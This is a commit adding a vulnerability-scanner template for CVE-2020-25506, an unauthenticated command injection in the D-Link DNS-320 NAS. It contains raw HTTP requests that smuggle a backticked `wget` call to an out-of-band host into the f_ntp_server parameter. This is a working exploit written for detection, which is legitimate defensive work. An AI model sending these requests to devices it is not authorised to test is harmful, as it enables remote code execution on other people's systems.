Create CVE-2020-25506.yaml

The exploit targets a command injection vulnerability in a system_mgr.cgi component. The component does not successfully sanitize the value of the HTTP parameters f_ntp_server, which in turn leads to arbitrary command execution.

Signed-off-by: GwanYeong Kim <gy741.kim@gmail.com>

cves/2020/CVE-2020-25506.yaml

@@ -0,0 +1,36 @@
+id: CVE-2020-25506
+
+info:
+  name: D-Link DNS-320 - Unauthenticated Remote Code Execution
+  author: gy741
+  severity: critical
+  description: The exploit targets a command injection vulnerability in a system_mgr.cgi component. The component does not successfully sanitize the value of the HTTP parameters f_ntp_server, which in turn leads to arbitrary command execution.
+  reference: |
+    - https://gist.github.com/WinMin/6f63fd1ae95977e0e2d49bd4b5f00675
+    - https://unit42.paloaltonetworks.com/mirai-variant-iot-vulnerabilities/
+  tags: cve,cve2020,dlink,rce
+
+requests:
+  - raw:
+      - |
+        POST /cgi-bin/system_mgr.cgi? HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0
+        Accept: */*
+        Connection: close
+
+        C1=ON&cmd=cgi_ntp_time&f_ntp_server=`wget http://{{interactsh-url}}`
+
+      - |
+        POST /cgi-bin/system_mgr.cgi?C1=ON&cmd=cgi_ntp_time&f_ntp_server=`wget http://{{interactsh-url}}` HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0
+        Accept: */*
+        Connection: close
+
+    unsafe: true
+    matchers:
+      - type: word
+        part: interactsh_protocol # Confirms the HTTP Interaction
+        words:
+          - "http"